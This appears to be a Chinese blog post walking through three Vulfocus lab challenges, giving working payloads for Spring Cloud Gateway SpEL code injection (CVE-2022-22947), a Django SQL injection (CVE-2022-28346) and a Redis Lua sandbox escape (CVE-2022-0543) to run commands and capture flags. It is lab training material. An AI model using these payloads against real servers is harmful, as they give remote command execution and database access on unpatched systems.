#禁止右键复制模块,去掉下面的/*注释可使用#

Vulfocus靶场系列1

漏洞复现第一期

spring_cve_2022_22947

漏洞描述

  使用Spring Cloud Gateway的应用程序在Actuator端点在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

当攻击者可以访问actuator API时,就可以利用该漏洞执行任意命令。

 flag-{Hndreamer!qwq!}

影响版本

Spring Cloud Gateway < 3.1.1

Spring Cloud Gateway < 3.0.7

Spring Cloud Gateway 其他已不再更新的版本

复现

  1. 首先访问vulfocus中的靶场。

 

 

 

 

http://ip /actuator抓包

 

状态码200,即这个目录是开放的

.查看/actuator/gateway/routes/

 

返回的路由信息,意思是当访问index时,路由到http://example.com:80

   访问test时,路由到http://test.com:80

 

利用actuator在网关中可以创建和删除路由。

   首先创建路由。注意是POST请求,

   Content-Type: application/json这里要修改为json。请求体中的内容是创建test3路由,让他去执行我们的whoami命令,这里我们可以修改为其他命令。

 

Content-Type: application/json

Content-Length: 431

 

{

    "id": "test3",

    "filters": [

        {

            "name": "AddResponseHeader",

            "args": {

                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

                "name": "cmd"

            }

        }

    ],

    "uri": "http://example.com:80",

    "order": 0

}

 

 

 

 

 

搞到这里,平台镜像15分钟到了…,又得重新开。

 

访问我们创建的路由信息。

 

 

删除自己创建的路由,用DELETE请求

 

 

 

 获取flag

前面的步骤一样,只是payload改变了。

Payload:

Content-Type: application/json

Content-Length: 312

 

{

  "id": "hacktest",

  "filters": [{

    "name": "AddResponseHeader",

    "args": {

      "name": "Result=",

      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('ls', 'tmp').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"

    }

  }],

   "uri": "http://test.com"

}

 

 

            

 

 

flag-{bmhb9cd9643-2fb2-4057-8f78-43c2ecb759bc}

django-cve_2022_28346

 

 

根据题目提示:

查看报错页面,是否存在信息泄露

demo/

 

报错信息提示了一个参数name

 

 POC:

http://ip:port/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

 

 

 

找flag:

/demo/?field=demo.name" FROM "demo_user" union SELECT "1",phpinfo(),"3" –

 

 

 

 

Vulfocus靶场 | Redis Lua沙盒绕过 命令执行(CVE-2022-0543)

 

 

连接目标靶机redis数据库

如果没安装redis的话可以百度一下。

执行命令

redis-cli.exe -h ip -p port

 

执行命令获取id

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 

执行命令ls /tmp获取flag

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0 

 

 

flag-{bmh27aa39cb-3462-42fb-b13a-118884887063}

 

 

 

posted @ 2023-01-29 14:24  Hndreamer  阅读(441)  评论(0编辑  收藏  举报
#百度统计#